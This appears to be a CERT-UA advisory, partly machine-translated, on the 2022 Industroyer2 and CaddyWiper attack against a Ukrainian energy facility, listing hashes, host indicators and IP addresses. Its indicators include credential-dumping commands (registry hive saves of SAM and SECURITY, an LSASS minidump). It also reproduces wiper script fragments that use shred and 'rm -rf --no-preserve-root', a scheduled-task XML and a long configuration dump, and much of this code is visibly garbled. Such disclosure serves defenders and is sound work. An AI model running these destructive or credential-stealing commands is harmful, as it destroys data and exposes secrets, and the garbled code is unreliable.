

## general information

The Governmental Computer Emergency Response Team of Ukraine CERT-UA has taken urgent measures to respond to an information security incident related to a targeted attack on Ukraine's energy facility.

The idea of the attackers involved the decommissioning of several infrastructural elements of the object of attack, namely:

- high-voltage electrical substations - using the malicious program INDUSTROYER2; moreover, each executable file contained a statically specified set of unique parameters for the respective substations (file compilation date: 23.03.2022);
- electronic computers (computers) running the Windows operating system (user computers, servers, as well as automated workstations ACS TP) - using the malicious program-destructor CADDYWIPER; in this case, the decryption and launch of the latter involves the use of the ARGUEPATCH loader and the TAILJUMP silkcode;
- server equipment running Linux operating systems - using malicious destructive scripts ORCSHRED, SOLOSHRED, AWFULSHRED;
- active network equipment.

Centralized distribution and launch of CADDYWIPER is implemented through the Group Policy Mechanism (GPO). The POWERGAP PowerShell script was used to add a Group Policy that downloads file destructor components from a domain controller and creates a scheduled task on a computer.

The ability to move horizontally between segments of the local area network is provided by creating chains of SSH tunnels. IMPACKET is used for remote execution of commands.

It is known that the victim organization suffered two waves of attacks. The initial compromise took place no later than February 2022. The disconnection of electrical substations and the decommissioning of the company's infrastructure was scheduled for Friday evening, April 8, 2022. At the same time, the implementation of the malicious plan has so far been prevented.

З метою виявлення ознак присутності подібної загрози в інших організаціях України, оперативну інформацію з рівнем обмеження доступу TLP:AMBER, включаючи зразки шкідливих програм, індикатори компрометації та Yara-правила, передано обмеженому колу міжнародних партнерів та підприємствам енергетичного сектору України.

Окрему вдячність висловлюємо компаніям Microsoft та ESET.

## **Індикатори компрометації**

### **Файли:**

```
fbe32784c073e341fc57d175a913905c  
43d07f28b7b699f43abd4f695596c15a90d772bfbd6029c8ee7bc5859c2b0861 sc.sh (OrcShred)  
73561d9a331c1d8a334ec48dfd94db99  
bcdff0bd8142a4828c61e775686c9892d89893ed0f5093bcd70bde3e48d04ab99 wobf.sh (AwfulShred)  
97ad7f3ed815c0528b070941be903d07  
87ca2b130a8ec91d0c9c0366b419a0fce3cb6a935523d900918e634564b88028 wsol.sh (SoloShred)  
9ec8468dd4a81b0b35c499b31e67375e  
cda9310715b7a12f47b7c134260d5ff9200c147fc1d05f030e507e57e3582327 {zrada.exe,  
peremoga.exe, vatt.exe} (ArguePatch)  
1938380a81a23b8b1100de8403b583a7  
1724a0a3c9c73f4d8891f988b5035effce8d897ed42336a92e2c9bc7d9ee7f5a pa.pay (TailJump)  
b63b9929b8f214c4e8dcff7956c87277  
fc0e6f2effbfa287217b8930ab55b7a77bb86dbd923c0e8150551627138c9caa caddywiper.bin  
(CaddyWiper)  
3229e8c4150b5e43f836643ec9428865  
7062403bccacc7c0b84d27987b204777f6078319c3f4caa361581825c1a94e87 108_100.exe (2022-  
03-23) (Industroyer2)
```

### **Xостови:**

```
C:\Users\peremoga.exe JRIBDFIMCQAKVBBP C:\Users\pa1.pay  
reg save HKLM\SYSTEM C:\Users\Public\sys.reg /y  
reg save HKLM\SECURITY C:\Users\Public\sec.reg /y  
reg save HKLM\SAM C:\Users\Public\sam.reg /y  
\%DOMAIN%\sysvol\%DOMAIN%\Policies\%GPO ID%\Machine\zrada.exe  
\%DOMAIN%\sysvol\%DOMAIN%\Policies\%GPO ID%\Machine\pa.pay  
C: \ Windows \ System32 \ rundll32.exe C: \ windows \ System32 \ comsvcs.dll  
MiniDump% PID% C: \ Users \ Public \ mem.dmp full  
C: \ Windows \ Temp \ link.ps1  
C: \ Users \ peremoga.exe  
C: \ Users \ pa1.pay  
C: \ Dell \ vatt.exe  
C: \ Dell \ pa.pay  
C: \ Dell \ 108_100.exe  
C: \ tmp \ cdel.exe
```

### **Network:**

```
91.245.255 [.] 243  
195.230.23 [.] 19
```

# Graphic images

ORCSHRED	AWFULSHRED	SOLOSHRED
<pre>if [[ \$sis_owner -eq 0 ]]; then     echo "Start most security mode!"     cronstab -l &gt; /var/log/tasks      check_solaris=\$!find /etc -name os-release &gt; /var/log/res)     check_solaris=\$!cat /var/log/res)      if [ -s /var/log/res ]; then         check_solaris=\$!cat /etc/os-release   grep ID=solaris; echo \$? &gt; /var/log/res)         check_solaris=\$!cat /var/log/res)          if [[ \$check_solaris -eq 0 ]]; then             echo "#58 17 * * * /bin/bash /var/log/wsolt.sh &amp; disown" &gt;&gt; /var/log/tasks         else             echo "#58 17 * * * /bin/bash /var/log/wobf.sh &amp; disown" &gt;&gt; /var/log/tasks         fi     else         echo "#58 17 * * * /bin/bash /var/log/wobf.sh &amp; disown" &gt;&gt; /var/log/tasks     fi      cronstab /var/log/tasks     rm -f /var/log/tasks     rm -f /var/log/res fi</pre>	<pre>#!/bin/bash ORCSHRED AWFULSHRED SOLOSHRED  declare -r yrkdrrun=2027 declare -r lkrjrfdr=01 unmre sed' declare -r kxjzrpjh=slsh' declare -r jzifqjmc=dskd' declare -r xnyguapn='&amp;evrslv' declare -r ixtgkdkd=10000 declare -r igzsdks=7360 declare -r dyllygmc=J.bash history  declare gzwjmbw='(cd \$(dirname \${0}) &amp; httpd -kforeground) &lt;/ghfhws')  declare -r yqzqahm='apache http svh'  declare -r apgrlyfd=0 declare -r slydxd=1 declare -r npnrvew=2 declare -r csmzqy=3 declare -r Klnlyyyd=4 declare -r yqzqahm=5 declare -r gynjnhb=6 declare -r yqzqahm=7 declare -r gqjdnqj=8 declare -r rddgpmnt=9 declare -r fsljyqj=10 declare -r pypqym=11 declare -r bfejyj=12  declare -r hiffto='start' declare -r vymjw=13 declare -r vqzqahm=14 declare -r yqzqahm=15 declare -r ftvjqm='40' declare -r gphcmui='jct/systemd/system                 /usr/lib/systemd/system                 /usr/lib/libsystemd/system                 /usr/lib/libsystemd/system  done</pre>	<pre>for x in \$(grep/interv 1 grep -i "ora"); do     set -- .. echo \$x   tr -w ''       if [ -t \$2 ]; then         shred \$2 -n 1 -e 1 -z -d 1         rm -rf \$r --no-preserve-root     elif [ -d \$2 ]; then         find \$2 -type f -exec shred -n 1 -t -z -w () ;         rm -rf \$r --no-preserve-root     fi done  for i in \$(ps); do     if [ -d "\$1" ]; then         rm -rf \$r --no-preserve-root /dev/mk\$0();     fi done  exit 0</pre>

  

POWERUP
<pre>&lt;task version="1.0" encoding="UTF-16"&gt; &lt;task version="1.0" xmlns="http://schemas.microsoft.com/windows/2009/06/windows-task-definition" schemaVersion="2.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" date="2022-04-08T14:59:24z"&gt; &lt;!--RegistrationInfo--&gt; &lt;RegistrationInfo&gt; &lt;!--Triggers--&gt; &lt;Triggers&gt; &lt;--StartBoundary--&gt; &lt;StartBoundary&gt; &lt;date&gt;2022-04-08T16:20:00&lt;/date&gt; &lt;enabled&gt;true&lt;/Enabled&gt; &lt;!--End--&gt; &lt;/Triggers&gt; &lt;--Settings--&gt; &lt;Settings&gt; &lt;MultipleInstancesPolicy&gt;IgnoreNew&lt;/MultipleInstancesPolicy&gt; &lt;AllowTaskToRunWhenIdle&gt;false&lt;/AllowTaskToRunWhenIdle&gt; &lt;StopIfGoingToSleepBatteries&gt;true&lt;/StopIfGoingToSleepBatteries&gt; &lt;StartWhenAvailable&gt;false&lt;/StartWhenAvailable&gt; &lt;StopWhenAvailable&gt;false&lt;/StopWhenAvailable&gt; &lt;RunOnlyIfNetworkAvailable&gt;false&lt;/RunOnlyIfNetworkAvailable&gt; &lt;IdleSettings&gt; &lt;Duration&gt;PT3H&lt;/Duration&gt; &lt;WaitTime&gt;PT1M&lt;/WaitTime&gt; &lt;RestartCount&gt;3&lt;/RestartCount&gt; &lt;RestartOnFailure&gt;false&lt;/RestartOnFailure&gt; &lt;RunOnlyIfNetworkAvailable&gt;false&lt;/RunOnlyIfNetworkAvailable&gt; &lt;AllowTaskToRunWhenIdle&gt;true&lt;/AllowTaskToRunWhenIdle&gt; &lt;StopIfGoingToSleepBatteries&gt;true&lt;/StopIfGoingToSleepBatteries&gt; &lt;StartWhenAvailable&gt;false&lt;/StartWhenAvailable&gt; &lt;StopWhenAvailable&gt;false&lt;/StopWhenAvailable&gt; &lt;RunOnlyIfNetworkAvailable&gt;false&lt;/RunOnlyIfNetworkAvailable&gt; &lt;Priority&gt;&lt;Priority&gt; &lt;!--Actions--&gt; &lt;Actions Context=&gt;&lt;Author&gt; &lt;--Commands--&gt; &lt;Commands&gt;&lt;Command&gt;C:\PerfLogs\vtvt.exe&lt;/Command&gt; &lt;--Arguments--&gt; &lt;Arguments&gt; -c:C:\PerfLogs\vtvt.log&lt;/Arguments&gt; &lt;/Command&gt; &lt;--Principals--&gt; &lt;Principals&gt; &lt;Principal&gt; &lt;identity&gt;UserId&lt;/Identity&gt; &lt;userIds&gt;1-138&lt;/UserIds&gt; &lt;userLogonLevel&gt;RunAsLevel&lt;/userLogonLevel&gt; &lt;principalType&gt;Interactive&lt;/principalType&gt; &lt;/Principals&gt; &lt;/Actions&gt; &lt;/Task&gt;</pre>

  

10.1.1.1 2494 7 0 1 1 %PROGRAM%\_exe 1 "%PATH%" 0 1 0 0 1 0 0 8 1101 0 0 0 1 1 1102 0 0 0 1 2 1103 0 0 0 1 3 1104 0 0 0 1 4 1105 0 0 0 1 5 1106 0 0 0 1 6 1107 0 0 0 1 7 1108 0 0 0 1 8 1109 0 0 0 1 9 1110 0 0 0 1 10 1111 0 0 0 1 11 1112 0 0 0 1 12 1113 0 0 0 1 13 1114 0 0 0 1 14 1115 0 0 0 1 15 1116 0 0 0 1 16 1117 0 0 0 1 17 1118 0 0 0 1 18 1119 0 0 0 1 19 1110 0 0 0 1 20 1111 0 0 0 1 21 1112 0 0 0 1 22 1113 0 0 0 1 23 1114 0 0 0 1 24 1115 0 0 0 1 25 1116 0 0 0 1 26 1117 0 0 0 1 27 1118 0 0 0 1 28 1119 0 0 0 1 29 1110 0 0 0 1 30 1111 0 0 0 1 31 1112 0 0 0 1 32 1113 0 0 0 1 33 1114 0 0 0 1 34 1115 0 0 0 1 35 1116 0 0 0 1 36 1117 0 0 0 1 37 1118 0 0 0 1 38 1119 0 0 0 1 39 1110 0 0 0 1 40 1111 0 0 0 1 41 1112 0 0 0 1 42 1113 0 0 0 1 43 1114 0 0 0 1 44 1115 0 0 0 1 45 1116 0 0 0 1 46 1117 0 0 0 1 47 1118 0 0 0 1 48 1119 0 0 0 1 49 1110 0 0 0 1 50 1111 0 0 0 1 51 1112 0 0 0 1 52 1113 0 0 0 1 53 1114 0 0 0 1 54 1115 0 0 0 1 55 1116 0 0 0 1 56 1117 0 0 0 1 57 1118 0 0 0 1 58 1119 0 0 0 1 59 1110 0 0 0 1 60 1111 0 0 0 1 61 1112 0 0 0 1 62 1113 0 0 0 1 63 1114 0 0 0 1 64 1115 0 0 0 1 65 1116 0 0 0 1 66 1117 0 0 0 1 67 1118 0 0 0 1 68 1119 0 0 0 1 69 1110 0 0 0 1 70 1111 0 0 0 1 71 1112 0 0 0 1 72 1113 0 0 0 1 73 1114 0 0 0 1 74 1115 0 0 0 1 75 1116 0 0 0 1 76 1117 0 0 0 1 77 1118 0 0 0 1 78 1119 0 0 0 1 79 1110 0 0 0 1 80 1111 0 0 0 1 81 1112 0 0 0 1 82 1113 0 0 0 1 83 1114 0 0 0 1 84 1115 0 0 0 1 85 1116 0 0 0 1 86 1117 0 0 0 1 87 1118 0 0 0 1 88 1119 0 0 0 1 89 1110 0 0 0 1 90 1111 0 0 0 1 91 1112 0 0 0 1 92 1113 0 0 0 1 93 1114 0 0 0 1 94 1115 0 0 0 1 95 1116 0 0 0 1 96 1117 0 0 0 1 97 1118 0 0 0 1 98 1119 0 0 0 1 99 1110 0 0 0 1 100 1111 0 0 0 1 101 1112 0 0 0 1 102 1113 0 0 0 1 103 1114 0 0 0 1 104 1115 0 0 0 1 105 1116 0 0 0 1 106 1117 0 0 0 1 107 1118 0 0 0 1 108 1119 0 0 0 1 109 1110 0 0 0 1 110 1111 0 0 0 1 111 1112 0 0 0 1 112 1113 0 0 0 1 113 1114 0 0 0 1 114 1115 0 0 0 1 115 1116 0 0 0 1 116 1117 0 0 0 1 117 1118 0 0 0 1 118 1119 0 0 0 1 119 1110 0 0 0 1 120 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0 0 1 356 1117 0 0 0 1 357 1118 0 0 0 1 358 1119 0 0 0 1 359 1110 0 0 0 1 360 1111 0 0 0 1 361 1112 0 0 0 1 362 1113 0 0 0 1 363 1114 0 0 0 1 364 1115 0 0 0 1 365 1116 0 0 0 1 366 1117 0 0 0 1 367 1118 0 0 0 1 368 1119 0 0 0 1 369 1110 0 0 0 1 370 1111 0 0 0 1 371 1112 0 0 0 1 372 1113 0 0 0 1 373 1114 0 0 0 1 374 1115 0 0 0 1 375 1116 0 0 0 1 376 1117 0 0 0 1 377 1118 0 0 0 1 378 1119 0 0 0 1 379 1110 0 0 0 1 380 1111 0 0 0 1 381 1112 0 0 0 1 382 1113 0 0 0 1 383 1114 0 0 0 1 384 1115 0 0 0 1 385 1116 0 0 0 1 386 1117 0 0 0 1 387 1118 0 0 0 1 388 1119 0 0 0 1 389 1110 0 0 0 1 390 1111 0 0 0 1 391 1112 0 0 0 1 392 1113 0 0 0 1 393 1114 0 0 0 1 394 1115 0 0 0 1 395 1116 0 0 0 1 396 1117 0 0 0 1 397 1118 0 0 0 1 398 1119 0 0 0 1 399 1110 0 0 0 1 400 1111 0 0 0 1 401 1112 0 0 0 1 402 1113 0 0 0 1 403 1114 0 0 0 1 404 1115 0 0 0 1 405 1116 0 0 0 1 406 1117 0 0 0 1 407 1118 0 0 0 1 408 1119 0 0 0 1 409 1110 0 0 0 1 410 1111 0 0 0 1 411 1112 0 0 0 1 412 1113 0 0 0 1 413 1114 0 0 0 1 414 1115 0 0 0 1 415 1116 0 0 0 1 416 1117 0 0 0 1 417 1118 0 0 0 1 418 1119 0 0 0 1 419 1110 0 0 0 1 420 1111 0 0 0 1 421 1112 0 0 0 1 422 1113 0 0 0 1 423 1114 0 0 0 1 424 1115 0 0 0 1 425 1116 0 0 0 1 426 1117 0 0 0 1 427 1118 0 0 0 1 428 1119 0 0 0 1 429 1110 0 0 0 1 430 1111 0 0 0 1 431 1112 0 0 0 1 432 1113 0 0 0 1 433 1114 0 0 0 1 434 1115 0 0 0 1 435 1116 0 0 0 1 436 1117 0 0 0 1 437 1118 0 0 0 1 438 1119 0 0 0 1 439 1110 0 0 0 1 440 1111 0 0 0 1 441 1112 0 0 0 1 442 1113 0 0 0 1 443 1114 0 0 0 1 444 1115 0 0 0 1 445 1116 0 0 0 1 446 1117 0 0 0 1 447 1118 0 0 0 1 448 1119 0 0 0 1 449 1110 0 0 0 1 450 1111 0 0 0 1 451 1112 0 0 0 1 452 1113 0 0 0 1 453 1114 0 0 0 1 454 1115 0 0 0 1 455 1116 0 0 0 1 456 1117 0 0 0 1 457 1118 0 0 0 1 458 1119 0 0 0 1 459 1110 0 0 0 1 460 1111 0 0 0 1 461 1112 0 0 0 1 462 1113 0 0 0 1 463 1114 0 0 0 1 464 1115 0 0 0 1 465 1116 0 0 0 1 466 1117 0 0 0 1 467 1118 0 0 0 1 468 1119 0 0 0 1 469 1110 0 0 0 1 470 1111 0 0 0 1 471 1112 0 0 0 1 472 1113 0 0 0 1 473 1114 0 0 0 1 474 1115 0 0 0 1 475 1116 0 0 0 1 476 1117 0 0 0 1 477 1118 0 0 0 1 478 1119 0 0 0 1 479 1110 0 0 0 1 480 1111 0 0 0 1 481 1112 0 0 0 1 482 1113 0 0 0 1 483 1114 0 0 0 1 484 1115 0 0 0 1 485 1116 0 0 0 1 486 1117 0 0 0 1 487 1118 0 0 0 1 488 1119 0 0 0 1 489 1110 0 0 0 1 490 1111 0 0 0 1 491 1112 0 0 0 1 492 1113 0 0 0 1 493 1114 0 0 0 1 494 1115 0 0 0 1 495 1116 0 0 0 1 496 1117 0 0 0 1 497 1118 0 0 0 1 498 1119 0 0 0 1 499 1110 0 0 0 1 500 1111 0 0 0 1 501 1112 0 0 0 1 502 1113 0 0 0 1 503 1114 0 0 0 1 504 1115 0 0 0 1 505 1116 0 0 0 1 506 1117 0 0 0 1 507 1118 0 0 0 1 508 1119 0 0 0 1 509 1110 0 0 0 1 510 1111 0 0 0 1 511 1112 0 0 0 1 512 1113 0 0 0 1 513 1114 0 0 0 1 514 1115 0 0 0 1 515 1116 0 0 0 1 516 1117 0 0 0 1 517 1118 0 0 0 1 518 1119 0 0 0 1 519 1110 0 0 0 1 520 1111 0 0 0 1 521 1112 0 0 0 1 522 1113 0 0 0 1 523 1114 0 0 0 1 524 1115 0 0 0 1 525 1116 0 0 0 1 526 1117 0 0 0 1 527 1118 0 0 0 1 528 1119 0 0 0 1 529 1110 0 0 0 1 530 1111 0 0 0 1 531 1112 0 0 0 1 532 1113 0 0 0 1 533 1114 0 0 0 1 534 1115 0 0 0 1 535 1116 0 0 0 1 536 1117 0 0 0 1 537 1118 0 0 0 1 538 1119 0 0 0 1 539 1110 0 0 0 1 540 1111 0 0 0 1 541 1112 0 0 0 1 542 1113 0 0 0 1 543 1114 0 0 0 1 544 1115 0 0 0 1 545 1116 0 0 0 1 546 1117 0 0 0 1 547 1118 0 0 0 1 548 1119 0 0 0 1 549 1110 0 0 0 1 550 1111 0 0 0 1 551 1112 0 0 0 1 552 1113 0 0 0 1 553 1114 0